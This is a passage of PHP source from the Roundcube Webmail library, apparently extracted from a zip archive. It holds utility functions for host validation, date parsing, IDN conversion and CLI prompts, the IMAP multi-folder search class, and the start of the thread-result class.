     * @param bool   $strip_port Strip port from the host name
     *
     * @return string Server name
     */
    public static function server_name($type = null, $strip_port = true)
    {
        if (!$type) {
            $type = 'SERVER_NAME';
        }

        $name     = $_SERVER[$type] ?? '';
        $rcube    = rcube::get_instance();
        $patterns = (array) $rcube->config->get('trusted_host_patterns');

        if (!empty($name)) {
            if ($strip_port) {
                $name = preg_replace('/:\d+$/', '', $name);
            }

            if (empty($patterns)) {
                return $name;
            }

            foreach ($patterns as $pattern) {
                // the pattern might be a regular expression or just a host/domain name
                if (preg_match('/[^a-zA-Z0-9.:-]/', $pattern)) {
                    if (preg_match("/$pattern/", $name)) {
                        return $name;
                    }
                }
                else if (strtolower($name) === strtolower($pattern)) {
                    return $name;
                }
            }

            $rcube->raise_error([
                    'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Specified host is not trusted. Using 'localhost'."
                ]
                , true, false
            );
        }

        return 'localhost';
    }

    /**
     * Returns remote IP address and forwarded addresses if found
     *
     * @return string Remote IP address(es)
     */
    public static function remote_ip()
    {
        $address = $_SERVER['REMOTE_ADDR'] ?? '';

        // append the NGINX X-Real-IP header, if set
        if (!empty($_SERVER['HTTP_X_REAL_IP']) && $_SERVER['HTTP_X_REAL_IP'] != $address) {
            $remote_ip[] = 'X-Real-IP: ' . $_SERVER['HTTP_X_REAL_IP'];
        }

        // append the X-Forwarded-For header, if set
        if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $remote_ip[] = 'X-Forwarded-For: ' . $_SERVER['HTTP_X_FORWARDED_FOR'];
        }

        if (!empty($remote_ip)) {
            $address .= ' (' . implode(',', $remote_ip) . ')';
        }

        return $address;
    }

    /**
     * Returns the real remote IP address
     *
     * @return string Remote IP address
     */
    public static function remote_addr()
    {
        // Check if any of the headers are set first to improve performance
        if (!empty($_SERVER['HTTP_X_FORWARDED_FOR']) || !empty($_SERVER['HTTP_X_REAL_IP'])) {
            $proxy_whitelist = (array) rcube::get_instance()->config->get('proxy_whitelist', []);
            if (in_array($_SERVER['REMOTE_ADDR'], $proxy_whitelist)) {
                if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
                    foreach (array_reverse(explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])) as $forwarded_ip) {
                        $forwarded_ip = trim($forwarded_ip);
                        if (!in_array($forwarded_ip, $proxy_whitelist)) {
                            return $forwarded_ip;
                        }
                    }
                }

                if (!empty($_SERVER['HTTP_X_REAL_IP'])) {
                    return $_SERVER['HTTP_X_REAL_IP'];
                }
            }
        }

        if (!empty($_SERVER['REMOTE_ADDR'])) {
            return $_SERVER['REMOTE_ADDR'];
        }

        return '';
    }

    /**
     * Read a specific HTTP request header.
     *
     * @param string $name Header name
     *
     * @return string|null Header value or null if not available
     */
    public static function request_header($name)
    {
        if (function_exists('apache_request_headers')) {
            $headers = apache_request_headers();
            $key     = strtoupper($name);
        }
        else {
            $headers = $_SERVER;
            $key     = 'HTTP_' . strtoupper(strtr($name, '-', '_'));
        }

        if (!empty($headers)) {
            $headers = array_change_key_case($headers, CASE_UPPER);

            return $headers[$key] ?? null;
        }
    }

    /**
     * Explode quoted string
     *
     * @param string $delimiter Delimiter expression string for preg_match()
     * @param string $string    Input string
     *
     * @return array String items
     */
    public static function explode_quoted_string($delimiter, $string)
    {
        $result = [];
        $strlen = strlen($string);

        for ($q=$p=$i=0; $i < $strlen; $i++) {
            if ($string[$i] == "\"" && (!isset($string[$i-1]) || $string[$i-1] != "\\")) {
                $q = $q ? false : true;
            }
            else if (!$q && preg_match("/$delimiter/", $string[$i])) {
                $result[] = substr($string, $p, $i - $p);
                $p = $i + 1;
            }
        }

        $result[] = (string) substr($string, $p);

        return $result;
    }

    /**
     * Improved equivalent to strtotime()
     *
     * @param string       $date     Date string
     * @param DateTimeZone $timezone Timezone to use for DateTime object
     *
     * @return int Unix timestamp
     */
    public static function strtotime($date, $timezone = null)
    {
        $date   = self::clean_datestr($date);
        $tzname = $timezone ? ' ' . $timezone->getName() : '';

        // unix timestamp
        if (is_numeric($date)) {
            return (int) $date;
        }

        // It can be very slow when provided string is not a date and very long
        if (strlen($date) > 128) {
            $date = substr($date, 0, 128);
        }

        // if date parsing fails, we have a date in non-rfc format.
        // remove token from the end and try again
        while (($ts = @strtotime($date . $tzname)) === false || $ts < 0) {
            if (($pos = strrpos($date, ' ')) === false) {
                break;
            }

            $date = rtrim(substr($date, 0, $pos));
        }

        return (int) $ts;
    }

    /**
     * Date parsing function that turns the given value into a DateTime object
     *
     * @param string       $date     Date string
     * @param DateTimeZone $timezone Timezone to use for DateTime object
     *
     * @return DateTime|false DateTime object or False on failure
     */
    public static function anytodatetime($date, $timezone = null)
    {
        if ($date instanceof DateTime) {
            return $date;
        }

        $dt   = false;
        $date = self::clean_datestr($date);

        // try to parse string with DateTime first
        if (!empty($date)) {
            try {
                $_date = preg_match('/^[0-9]+$/', $date) ? "@$date" : $date;
                $dt    = $timezone ? new DateTime($_date, $timezone) : new DateTime($_date);
            }
            catch (Exception $e) {
                // ignore
            }
        }

        // try our advanced strtotime() method
        if (!$dt && ($timestamp = self::strtotime($date, $timezone))) {
            try {
                $dt = new DateTime("@".$timestamp);
                if ($timezone) {
                    $dt->setTimezone($timezone);
                }
            }
            catch (Exception $e) {
                // ignore
            }
        }

        return $dt;
    }

    /**
     * Clean up date string for strtotime() input
     *
     * @param string $date Date string
     *
     * @return string Date string
     */
    public static function clean_datestr($date)
    {
        $date = trim((string) $date);

        // check for MS Outlook vCard date format YYYYMMDD
        if (preg_match('/^([12][90]\d\d)([01]\d)([0123]\d)$/', $date, $m)) {
            return sprintf('%04d-%02d-%02d 00:00:00', intval($m[1]), intval($m[2]), intval($m[3]));
        }

        // Clean malformed data
        $date = preg_replace(
            [
                '/\(.*\)/',                                 // remove RFC comments
                '/GMT\s*([+-][0-9]+)/',                     // support non-standard "GMTXXXX" literal
                '/[^a-z0-9\x20\x09:\/\.+-]/i',              // remove any invalid characters
                '/\s*(Mon|Tue|Wed|Thu|Fri|Sat|Sun)\s*/i',   // remove weekday names
            ],
            [
                '',
                '\\1',
                '',
                '',
            ],
            $date
        );

        $date = trim($date);

        // try to fix dd/mm vs. mm/dd discrepancy, we can't do more here
        if (preg_match('/^(\d{1,2})[.\/-](\d{1,2})[.\/-](\d{4})(\s.*)?$/', $date, $m)) {
            $mdy   = $m[2] > 12 && $m[1] <= 12;
            $day   = $mdy ? $m[2] : $m[1];
            $month = $mdy ? $m[1] : $m[2];
            $date  = sprintf('%04d-%02d-%02d%s', $m[3], $month, $day, $m[4] ?? ' 00:00:00');
        }
        // I've found that YYYY.MM.DD is recognized wrong, so here's a fix
        else if (preg_match('/^(\d{4})\.(\d{1,2})\.(\d{1,2})(\s.*)?$/', $date, $m)) {
            $date  = sprintf('%04d-%02d-%02d%s', $m[1], $m[2], $m[3], $m[4] ?? ' 00:00:00');
        }

        return $date;
    }

    /**
     * Turns the given date-only string in defined format into YYYY-MM-DD format.
     *
     * Supported formats: 'Y/m/d', 'Y.m.d', 'd-m-Y', 'd/m/Y', 'd.m.Y', 'j.n.Y'
     *
     * @param string $date   Date string
     * @param string $format Input date format
     *
     * @return string Date string in YYYY-MM-DD format, or the original string
     *                if format is not supported
     */
    public static function format_datestr($date, $format)
    {
        $format_items = preg_split('/[.-\/\\\\]/', $format);
        $date_items   = preg_split('/[.-\/\\\\]/', $date);
        $iso_format   = '%04d-%02d-%02d';

        if (count($format_items) == 3 && count($date_items) == 3) {
            if ($format_items[0] == 'Y') {
                $date = sprintf($iso_format, $date_items[0], $date_items[1], $date_items[2]);
            }
            else if (strpos('dj', $format_items[0]) !== false) {
                $date = sprintf($iso_format, $date_items[2], $date_items[1], $date_items[0]);
            }
            else if (strpos('mn', $format_items[0]) !== false) {
                $date = sprintf($iso_format, $date_items[2], $date_items[0], $date_items[1]);
            }
        }

        return $date;
    }

    /**
     * Wrapper for idn_to_ascii with support for e-mail address.
     *
     * Warning: Domain names may be lowercase'd.
     * Warning: An empty string may be returned on invalid domain.
     *
     * @param string $str Decoded e-mail address
     *
     * @return string Encoded e-mail address
     */
    public static function idn_to_ascii($str)
    {
        return self::idn_convert($str, true);
    }

    /**
     * Wrapper for idn_to_utf8 with support for e-mail address
     *
     * @param string $str Decoded e-mail address
     *
     * @return string Encoded e-mail address
     */
    public static function idn_to_utf8($str)
    {
        return self::idn_convert($str, false);
    }

    /**
     * Convert a string to ascii or utf8 (using IDNA standard)
     *
     * @param string $input  Decoded e-mail address
     * @param bool   $is_utf Convert by idn_to_ascii if true and idn_to_utf8 if false
     *
     * @return string Encoded e-mail address
     */
    public static function idn_convert($input, $is_utf = false)
    {
        if ($at = strpos($input, '@')) {
            $user   = substr($input, 0, $at);
            $domain = substr($input, $at + 1);
        }
        else {
            $user   = '';
            $domain = $input;
        }

        // Note that in PHP 7.2/7.3 calling idn_to_* functions with default arguments
        // throws a warning, so we have to set the variant explicitly (#6075)
        $variant = INTL_IDNA_VARIANT_UTS46;
        $options = 0;

        // Because php-intl extension lowercases domains and return false
        // on invalid input (#6224), we skip conversion when not needed

        if ($is_utf) {
            if (preg_match('/[^\x20-\x7E]/', $domain)) {
                $options = IDNA_NONTRANSITIONAL_TO_ASCII;
                $domain  = idn_to_ascii($domain, $options, $variant);
            }
        }
        else if (preg_match('/(^|\.)xn--/i', $domain)) {
            $options = IDNA_NONTRANSITIONAL_TO_UNICODE;
            $domain  = idn_to_utf8($domain, $options, $variant);
        }

        if ($domain === false) {
            return '';
        }

        return $at ? $user . '@' . $domain : $domain;
    }

    /**
     * Split the given string into word tokens
     *
     * @param string $str     Input to tokenize
     * @param int    $minlen  Minimum length of a single token
     *
     * @return array List of tokens
     */
    public static function tokenize_string($str, $minlen = 2)
    {
        if (!is_string($str)) {
            return [];
        }

        $expr = ['/[\s;,"\'\/+-]+/ui', '/(\d)[-.\s]+(\d)/u'];
        $repl = [' ', '\\1\\2'];

        if ($minlen > 1) {
            $minlen--;
            $expr[] = "/(^|\s+)\w{1,$minlen}(\s+|$)/u";
            $repl[] = ' ';
        }

        $str = preg_replace($expr, $repl, $str);

        return is_string($str) ? array_filter(explode(" ", $str)) : [];
    }

    /**
     * Normalize the given string for fulltext search.
     * Currently only optimized for ISO-8859-1 and ISO-8859-2 characters; to be extended
     *
     * @param string $str      Input string (UTF-8)
     * @param bool   $as_array True to return list of words as array
     * @param int    $minlen   Minimum length of tokens
     *
     * @return string|array Normalized string or a list of normalized tokens
     */
    public static function normalize_string($str, $as_array = false, $minlen = 2)
    {
        // replace 4-byte unicode characters with '?' character,
        // these are not supported in default utf-8 charset on mysql,
        // the chance we'd need them in searching is very low
        $str = preg_replace('/('
            . '\xF0[\x90-\xBF][\x80-\xBF]{2}'
            . '|[\xF1-\xF3][\x80-\xBF]{3}'
            . '|\xF4[\x80-\x8F][\x80-\xBF]{2}'
            . ')/', '?', $str);

        // split by words
        $arr = self::tokenize_string($str, $minlen);

        // detect character set
        if (rcube_charset::convert(rcube_charset::convert($str, 'UTF-8', 'ISO-8859-1'), 'ISO-8859-1', 'UTF-8') == $str)  {
            // ISO-8859-1 (or ASCII)
            preg_match_all('/./u', 'äâàåáãæçéêëèïîìíñöôòøõóüûùúýÿ', $keys);
            preg_match_all('/./',  'aaaaaaaceeeeiiiinoooooouuuuyy', $values);

            $mapping = array_combine($keys[0], $values[0]);
            $mapping = array_merge($mapping, ['ß' => 'ss', 'ae' => 'a', 'oe' => 'o', 'ue' => 'u']);
        }
        else if (rcube_charset::convert(rcube_charset::convert($str, 'UTF-8', 'ISO-8859-2'), 'ISO-8859-2', 'UTF-8') == $str) {
            // ISO-8859-2
            preg_match_all('/./u', 'ąáâäćçčéęëěíîłľĺńňóôöŕřśšşťţůúűüźžżý', $keys);
            preg_match_all('/./',  'aaaaccceeeeiilllnnooorrsssttuuuuzzzy', $values);

            $mapping = array_combine($keys[0], $values[0]);
            $mapping = array_merge($mapping, ['ß' => 'ss', 'ae' => 'a', 'oe' => 'o', 'ue' => 'u']);
        }

        foreach ($arr as $i => $part) {
            $part = mb_strtolower($part);

            if (!empty($mapping)) {
                $part = strtr($part, $mapping);
            }

            $arr[$i] = $part;
        }

        return $as_array ? $arr : implode(' ', $arr);
    }

    /**
     * Compare two strings for matching words (order not relevant)
     *
     * @param string $haystack Haystack
     * @param string $needle   Needle
     *
     * @return bool True if match, False otherwise
     */
    public static function words_match($haystack, $needle)
    {
        $a_needle  = self::tokenize_string($needle, 1);
        $_haystack = implode(' ', self::tokenize_string($haystack, 1));
        $valid     = strlen($_haystack) > 0;
        $hits      = 0;

        foreach ($a_needle as $w) {
            if ($valid) {
                if (stripos($_haystack, $w) !== false) {
                    $hits++;
                }
            }
            else if (stripos($haystack, $w) !== false) {
                $hits++;
            }
        }

        return $hits >= count($a_needle);
    }

    /**
     * Parse commandline arguments into a hash array
     *
     * @param array $aliases Argument alias names
     *
     * @return array Argument values hash
     */
    public static function get_opt($aliases = [])
    {
        $args = [];
        $bool = [];

        // find boolean (no value) options
        foreach ($aliases as $key => $alias) {
            if ($pos = strpos($alias, ':')) {
                $aliases[$key] = substr($alias, 0, $pos);
                $bool[] = $key;
                $bool[] = $aliases[$key];
            }
        }

        for ($i=1; $i < count($_SERVER['argv']); $i++) {
            $arg   = $_SERVER['argv'][$i];
            $value = true;
            $key   = null;

            if (strlen($arg) && $arg[0] == '-') {
                $key = preg_replace('/^-+/', '', $arg);
                $sp  = strpos($arg, '=');

                if ($sp > 0) {
                    $key   = substr($key, 0, $sp - 2);
                    $value = substr($arg, $sp+1);
                }
                else if (in_array($key, $bool)) {
                    $value = true;
                }
                else if (
                    isset($_SERVER['argv'][$i + 1])
                    && strlen($_SERVER['argv'][$i + 1])
                    && $_SERVER['argv'][$i + 1][0] != '-'
                ) {
                    $value = $_SERVER['argv'][++$i];
                }

                $args[$key] = is_string($value) ? preg_replace(['/^["\']/', '/["\']$/'], '', $value) : $value;
            }
            else {
                $args[] = $arg;
            }

            if (!empty($aliases[$key])) {
                $alias = $aliases[$key];
                $args[$alias] = $args[$key];
            }
        }

        return $args;
    }

    /**
     * Safe password prompt for command line
     * from http://blogs.sitepoint.com/2009/05/01/interactive-cli-password-prompt-in-php/
     *
     * @param string $prompt Prompt text
     *
     * @return string Password
     */
    public static function prompt_silent($prompt = "Password:")
    {
        if (preg_match('/^win/i', PHP_OS)) {
            $vbscript  = sys_get_temp_dir() . 'prompt_password.vbs';
            $vbcontent = 'wscript.echo(InputBox("' . addslashes($prompt) . '", "", "password here"))';
            file_put_contents($vbscript, $vbcontent);

            $command  = "cscript //nologo " . escapeshellarg($vbscript);
            $password = rtrim(shell_exec($command));
            unlink($vbscript);

            return $password;
        }

        $command = "/usr/bin/env bash -c 'echo OK'";

        if (rtrim(shell_exec($command)) !== 'OK') {
            echo $prompt;
            $pass = trim(fgets(STDIN));
            echo chr(8)."\r" . $prompt . str_repeat("*", strlen($pass))."\n";

            return $pass;
        }

        $command  = "/usr/bin/env bash -c 'read -s -p \"" . addslashes($prompt) . "\" mypassword && echo \$mypassword'";
        $password = rtrim(shell_exec($command));
        echo "\n";

        return $password;
    }

    /**
     * Find out if the string content means true or false
     *
     * @param string $str Input value
     *
     * @return bool Boolean value
     */
    public static function get_boolean($str)
    {
        $str = strtolower((string) $str);

        return !in_array($str, ['false', '0', 'no', 'off', 'nein', ''], true);
    }

    /**
     * OS-dependent absolute path detection
     *
     * @param string $path File path
     *
     * @return bool True if the path is absolute, False otherwise
     */
    public static function is_absolute_path($path)
    {
        if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') {
            return (bool) preg_match('!^[a-z]:[\\\\/]!i', $path);
        }

        return isset($path[0]) && $path[0] == '/';
    }

    /**
     * Resolve relative URL
     *
     * @param string $url Relative URL
     *
     * @return string Absolute URL
     */
    public static function resolve_url($url)
    {
        // prepend protocol://hostname:port
        if (!preg_match('|^https?://|', $url)) {
            $schema       = 'http';
            $default_port = 80;

            if (self::https_check()) {
                $schema       = 'https';
                $default_port = 443;
            }

            $host = $_SERVER['HTTP_HOST'] ?? '';
            $port = $_SERVER['SERVER_PORT'] ?? 0;

            $prefix = $schema . '://' . preg_replace('/:\d+$/', '', $host);
            if ($port && $port != $default_port && $port != 80) {
                $prefix .= ':' . $port;
            }

            $url = $prefix . ($url[0] == '/' ? '' : '/') . $url;
        }

        return $url;
    }

    /**
     * Generate a random string
     *
     * @param int  $length String length
     * @param bool $raw    Return RAW data instead of ascii
     *
     * @return string The generated random string
     */
    public static function random_bytes($length, $raw = false)
    {
        // Use PHP7 true random generator
        if ($raw) {
            return random_bytes($length);
        }

        $hextab  = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
        $tabsize = strlen($hextab);

        $result = '';
        while ($length-- > 0) {
            $result .= $hextab[random_int(0, $tabsize - 1)];
        }

        return $result;
    }

    /**
     * Convert binary data into readable form (containing a-zA-Z0-9 characters)
     *
     * @param string $input Binary input
     *
     * @return string Readable output (Base62)
     * @deprecated since 1.3.1
     */
    public static function bin2ascii($input)
    {
        $hextab = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
        $result = '';

        for ($x = 0; $x < strlen($input); $x++) {
            $result .= $hextab[ord($input[$x]) % 62];
        }

        return $result;
    }

    /**
     * Format current date according to specified format.
     * This method supports microseconds (u).
     *
     * @param string $format Date format (default: 'd-M-Y H:i:s O')
     *
     * @return string Formatted date
     */
    public static function date_format($format = null)
    {
        if (empty($format)) {
            $format = 'd-M-Y H:i:s O';
        }

        if (strpos($format, 'u') !== false) {
            $dt = number_format(microtime(true), 6, '.', '');

            try {
                $date = date_create_from_format('U.u', $dt);
                $date->setTimeZone(new DateTimeZone(date_default_timezone_get()));

                return $date->format($format);
            }
            catch (Exception $e) {
                // ignore, fallback to date()
            }
        }

        return date($format);
    }

    /**
     * Parses socket options and returns options for specified hostname.
     *
     * @param array  &$options Configured socket options
     * @param string $host     Hostname
     */
    public static function parse_socket_options(&$options, $host = null)
    {
        if (empty($host) || empty($options)) {
            return;
        }

        // get rid of schema and port from the hostname
        $host_url = parse_url($host);
        if (isset($host_url['host'])) {
            $host = $host_url['host'];
        }

        // find per-host options
        if ($host && array_key_exists($host, $options)) {
            $options = $options[$host];
        }
    }

    /**
     * Get maximum upload size
     *
     * @return int Maximum size in bytes
     */
    public static function max_upload_size()
    {
        // find max filesize value
        $max_filesize = parse_bytes(ini_get('upload_max_filesize'));
        $max_postsize = parse_bytes(ini_get('post_max_size'));

        if ($max_postsize && $max_postsize < $max_filesize) {
            $max_filesize = $max_postsize;
        }

        return $max_filesize;
    }

    /**
     * Detect and log last PREG operation error
     *
     * @param array $error     Error data (line, file, code, message)
     * @param bool  $terminate Stop script execution
     *
     * @return bool True on error, False otherwise
     */
    public static function preg_error($error = [], $terminate = false)
    {
        if (($preg_error = preg_last_error()) != PREG_NO_ERROR) {
            $errstr = "PCRE Error: $preg_error.";

            if (function_exists('preg_last_error_msg')) {
                $errstr .= ' ' . preg_last_error_msg();
            }

            if ($preg_error == PREG_BACKTRACK_LIMIT_ERROR) {
                $errstr .= " Consider raising pcre.backtrack_limit!";
            }
            if ($preg_error == PREG_RECURSION_LIMIT_ERROR) {
                $errstr .= " Consider raising pcre.recursion_limit!";
            }

            $error = array_merge(['code' => 620, 'line' => __LINE__, 'file' => __FILE__], $error);

            if (!empty($error['message'])) {
                $error['message'] .= ' ' . $errstr;
            }
            else {
                $error['message'] = $errstr;
            }

            rcube::raise_error($error, true, $terminate);

            return true;
        }

        return false;
    }

    /**
     * Generate a temporary file path in the Roundcube temp directory
     *
     * @param string $file_name String identifier for the type of temp file
     * @param bool   $unique    Generate unique file names based on $file_name
     * @param bool   $create    Create the temp file or not
     *
     * @return string temporary file path
     */
    public static function temp_filename($file_name, $unique = true, $create = true)
    {
        $temp_dir = rcube::get_instance()->config->get('temp_dir');

        // Fall back to system temp dir if configured dir is not writable
        if (!is_writable($temp_dir)) {
            $temp_dir = sys_get_temp_dir();
        }

        // On Windows tempnam() uses only the first three characters of prefix so use uniqid() and manually add the prefix
        // Full prefix is required for garbage collection to recognise the file
        $temp_file = $unique ? str_replace('.', '', uniqid($file_name, true)) : $file_name;
        $temp_path = unslashify($temp_dir) . '/' . RCUBE_TEMP_FILE_PREFIX . $temp_file;

        // Sanity check for unique file name
        if ($unique && file_exists($temp_path)) {
            return self::temp_filename($file_name, $unique, $create);
        }

        // Create the file to prevent possible race condition like tempnam() does
        if ($create) {
            touch($temp_path);
        }

        return $temp_path;
    }

    /**
     * Clean the subject from reply and forward prefix
     * 
     * @param string $subject Subject to clean
     * @param string $mode Mode of cleaning : reply, forward or both
     * 
     * @return string Cleaned subject
     */
    public static function remove_subject_prefix($subject, $mode = 'both')
    {
        $config = rcmail::get_instance()->config;

        // Clean subject prefix for reply, forward or both
        if ($mode == 'both') {
            $reply_prefixes = $config->get('subject_reply_prefixes', ['Re:']);
            $forward_prefixes = $config->get('subject_forward_prefixes', ['Fwd:', 'Fw:']);
            $prefixes = array_merge($reply_prefixes, $forward_prefixes);
        }
        else if ($mode == 'reply') {
            $prefixes = $config->get('subject_reply_prefixes', ['Re:']);
            // replace (was: ...) (#1489375)
            $subject = preg_replace('/\s*\([wW]as:[^\)]+\)\s*$/', '', $subject);
        }
        else if ($mode == 'forward') {
            $prefixes = $config->get('subject_forward_prefixes', ['Fwd:', 'Fw:']);
        }

        // replace Re:, Re[x]:, Re-x (#1490497)
        $pieces = array_map(function($prefix) {
            $prefix = strtolower(str_replace(':', '', $prefix));
            return "$prefix:|$prefix\[\d\]:|$prefix-\d:";
        }, $prefixes);
        $pattern = '/^('.implode('|', $pieces).')\s*/i';
        do {
            $subject = preg_replace($pattern, '', $subject, -1, $count);
        }
        while ($count);

        return trim($subject);
    }
}
PK
h�\���#�#+program/lib/Roundcube/rcube_imap_search.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Execute (multi-threaded) searches in multiple IMAP folders          |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

/**
 * Class to control search jobs on multiple IMAP folders.
 *
 * @package    Framework
 * @subpackage Storage
 */
class rcube_imap_search
{
    /** @var array IMAP connection options */
    public $options = [];

    /** @var rcube_imap_search_job[] Search jobs */
    protected $jobs = [];

    /** @var int Time limit in seconds */
    protected $timelimit = 0;

    /** @var array Search results */
    protected $results;

    /** @var rcube_imap_generic IMAP connection object */
    protected $conn;

    /**
     * Default constructor
     *
     * @param array              $options IMAP connection options
     * @param rcube_imap_generic $conn    IMAP connection object
     */
    public function __construct($options, $conn)
    {
        $this->options = $options;
        $this->conn    = $conn;
    }

    /**
     * Invoke search request to IMAP server
     *
     * @param array  $folders    List of IMAP folders to search in
     * @param string $str        Search criteria
     * @param string $charset    Search charset
     * @param string $sort_field Header field to sort by
     * @param bool   $threading  True if threaded listing is active
     */
    public function exec($folders, $str, $charset = null, $sort_field = null, $threading = null)
    {
        $start   = floor(microtime(true));
        $results = new rcube_result_multifolder($folders);

        // start a search job for every folder to search in
        foreach ($folders as $folder) {
            // a complete result for this folder already exists
            $result = $this->results ? $this->results->get_set($folder) : false;
            if ($result && !$result->incomplete) {
                $results->add($result);
            }
            else {
                $search = is_array($str) && $str[$folder] ? $str[$folder] : $str;
                $job = new rcube_imap_search_job($folder, $search, $charset, $sort_field, $threading);
                $job->worker = $this;
                $this->jobs[] = $job;
            }
        }

        // execute jobs and gather results
        foreach ($this->jobs as $job) {
            // only run search if within the configured time limit
            // TODO: try to estimate the required time based on folder size and previous search performance
            if (!$this->timelimit || floor(microtime(true)) - $start < $this->timelimit) {
                $job->run();
            }

            // add result (may have ->incomplete flag set)
            $results->add($job->get_result());
        }

        return $results;
    }

    /**
     * Setter for timelimit property
     *
     * @param int $seconds Limit in seconds
     */
    public function set_timelimit($seconds)
    {
        $this->timelimit = $seconds;
    }

    /**
     * Setter for previous (potentially incomplete) search results
     *
     * @param array $res Search result
     */
    public function set_results($res)
    {
        $this->results = $res;
    }

    /**
     * Get connection to the IMAP server (used for single-thread mode)
     *
     * @return rcube_imap_generic IMAP connection object
     */
    public function get_imap()
    {
        return $this->conn;
    }
}


/**
 * Stackable item to run the search on a specific IMAP folder
 */
class rcube_imap_search_job /* extends Stackable */
{
    /** @var rcube_imap_search The job worker */
    public $worker;

    /** @var string IMAP folder to search in */
    private $folder;

    /** @var string Search criteria */
    private $search;

    /** @var string Search charset */
    private $charset;

    /** @var string Header field to sort by */
    private $sort_field;

    /** @var bool True if threaded listing is active */
    private $threading;

    /** @var rcube_result_index|rcube_result_thread Search result */
    private $result;

    /**
     * Class constructor
     *
     * @param string $folder     IMAP folder to search in
     * @param string $str        Search criteria
     * @param string $charset    Search charset
     * @param string $sort_field Header field to sort by
     * @param bool   $threading  True if threaded listing is active
     */
    public function __construct($folder, $str, $charset = null, $sort_field = null, $threading = false)
    {
        $this->folder     = $folder;
        $this->search     = $str;
        $this->charset    = $charset;
        $this->sort_field = $sort_field;
        $this->threading  = $threading;

        $this->result = new rcube_result_index($folder);
        $this->result->incomplete = true;
    }

    /**
     * Executes the IMAP search
     */
    public function run()
    {
        $this->result = $this->search_index();
    }

    /**
     * Copy of rcube_imap::search_index()
     *
     * @return rcube_result_index|rcube_result_thread Search result
     */
    protected function search_index()
    {
        $criteria = $this->search;
        $charset  = $this->charset;
        $imap     = $this->worker->get_imap();

        if (!$imap->connected()) {
            trigger_error("No IMAP connection for $this->folder", E_USER_WARNING);

            if ($this->threading) {
                return new rcube_result_thread($this->folder);
            }
            else {
                return new rcube_result_index($this->folder);
            }
        }

        if ($this->worker->options['skip_deleted'] && !preg_match('/UNDELETED/', $criteria)) {
            $criteria = 'UNDELETED '.$criteria;
        }

        // unset CHARSET if criteria string is ASCII, this way
        // SEARCH won't be re-sent after "unsupported charset" response
        if ($charset && $charset != 'US-ASCII' && is_ascii($criteria)) {
            $charset = 'US-ASCII';
        }

        if ($this->threading) {
            $threads = $imap->thread($this->folder, $this->threading, $criteria, true, $charset);

            // Error, try with US-ASCII (RFC5256: SORT/THREAD must support US-ASCII and UTF-8,
            // but I've seen that Courier doesn't support UTF-8)
            if ($threads->is_error() && $charset && $charset != 'US-ASCII') {
                $threads = $imap->thread($this->folder, $this->threading,
                    rcube_imap::convert_criteria($criteria, $charset), true, 'US-ASCII');
            }

            return $threads;
        }

        if ($this->sort_field) {
            $messages = $imap->sort($this->folder, $this->sort_field, $criteria, true, $charset);

            // Error, try with US-ASCII (RFC5256: SORT/THREAD must support US-ASCII and UTF-8,
            // but I've seen Courier with disabled UTF-8 support)
            if ($messages->is_error() && $charset && $charset != 'US-ASCII') {
                $messages = $imap->sort($this->folder, $this->sort_field,
                    rcube_imap::convert_criteria($criteria, $charset), true, 'US-ASCII');
            }
        }

        if (empty($messages) || $messages->is_error()) {
            $messages = $imap->search($this->folder,
                ($charset && $charset != 'US-ASCII' ? "CHARSET $charset " : '') . $criteria, true);

            // Error, try with US-ASCII (some servers may support only US-ASCII)
            if ($messages->is_error() && $charset && $charset != 'US-ASCII') {
                $messages = $imap->search($this->folder,
                    rcube_imap::convert_criteria($criteria, $charset), true);
            }
        }

        return $messages;
    }

    /**
     * Return the saved search set as a array
     *
     * @return array Search set
     */
    public function get_search_set()
    {
        return [
            $this->search,
            $this->result,
            $this->charset,
            $this->sort_field,
            $this->threading,
        ];
    }

    /**
     * Returns the search result.
     *
     * @return rcube_result_index|rcube_result_thread Search result
     */
    public function get_result()
    {
        return $this->result;
    }
}
PK
h�\���֮S�S-program/lib/Roundcube/rcube_result_thread.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   THREAD response handler                                             |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Class for accessing IMAP's THREAD result
 *
 * @package    Framework
 * @subpackage Storage
 */
class rcube_result_thread
{
    public $incomplete = false;

    protected $raw_data;
    protected $mailbox;
    protected $meta  = [];
    protected $order = 'ASC';

    const SEPARATOR_ELEMENT = ' ';
    const SEPARATOR_ITEM    = '~';
    const SEPARATOR_LEVEL   = ':';


    /**
     * Object constructor.
     */
    public function __construct($mailbox = null, $data = null)
    {
        $this->mailbox = $mailbox;
        $this->init($data);
    }

    /**
     * Initializes object with IMAP command response
     *
     * @param string $data IMAP response string
     */
    public function init($data = null)
    {
        $this->meta = [];

        $data = explode('*', (string) $data);

        // ...skip unilateral untagged server responses
        for ($i = 0, $len = count($data); $i < $len; $i++) {
            if (preg_match('/^ THREAD/i', $data[$i])) {
                // valid response, initialize raw_data for is_error()
                $this->raw_data = '';
                $data[$i] = substr($data[$i], 7);
                break;
            }

            unset($data[$i]);
        }

        if (empty($data)) {
            return;
        }

        $data = array_first($data);
        $data = trim($data);
